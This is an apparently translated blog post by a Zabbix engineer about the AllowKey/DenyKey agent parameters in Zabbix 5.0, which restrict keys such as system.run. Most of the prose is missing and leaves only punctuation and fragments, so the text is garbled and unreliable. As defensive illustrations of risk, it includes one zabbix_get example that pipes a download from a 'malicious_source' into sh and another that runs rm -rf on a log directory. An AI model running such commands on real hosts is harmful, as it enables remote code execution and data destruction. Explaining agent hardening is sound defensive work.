在Zabbix 5.0中支持代理方方面的指标的黑名单和白名单

在代理端支持黑名单和白名单的指标

Zabbix集成工程师Tikhon Uskov

资料安全性问题

Zabbix 5.0引入了一项新功能，该功能可提高使用Zabbix Agent的系统的安全性，并取代旧的EnableRemoteCommands参数。

, .

• , , , , .

, zabbix_get , , . .

zabbix_get

. , . , , /etc/passwd/ .

• . , *system.run[]** , - Zabbix , .

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• Linux root-, Windows System . , Zabbix Agent , , WMI .

EnableRemoteCommands=0 *system.run[]** -, , , , .

EnableRemoteCommand Zabbix

AllowKey/DenyKey

Zabbix 5.0 .

Zabbix 5.0 , *system.run[]**, , :

AllowKey= — ;

DenyKey= — ;

— , (*).

AllowKey DenyKey . AllowKey/DenyKey . , — , .

, . , , . , .

, , , .

2 vfs.file.size[/tmp/file]

AllowKey/DenyKey:

1. ,
2. ,
3. .

, , , , . , .

2 *system.run[]**, , , , .

— (wildcard). (*) . , . , , wildcard.

[].

• system.run[* —
• vfs.file*.txt] —
• vfs.file.*[*] —

wildcard.

1. . , , , .
2. , , .
3. , wildcard, , . . .

.

• , . . - , — .

• , , . , CPU , system.cpu.load[*] , , .

• , , (discovery) . AllowKey/DenyKey :
  
  — HostnameItem
  
  — HostMetadataItem
  
  — HostInterfaceItem

. - , Zabbix , 'NOTSUPPORTED'. log- . , , - .

• - (, ).

, .

:

• Zabbix.
• zabbix_agentd. Zabbix agent c -print (-p) ( ), , . -test (-t) 'Unsupported item key'.
• zabbix_get. zabbix_get -k 'ZBX_NOTSUPPORTED: Unknown metric'.

, , zabbix_get, .

**

. .

. , .

, .

. , ? , , , Zabbix?

. regex, , , , . Regex — , . Wildcards — , .

. Include ?

. , , , . AllowKey/DenyKey Include, , .

. Zabbix 5.0 'EnableRemoteCommands=' , AllowKey/DenyKey?

. , .

!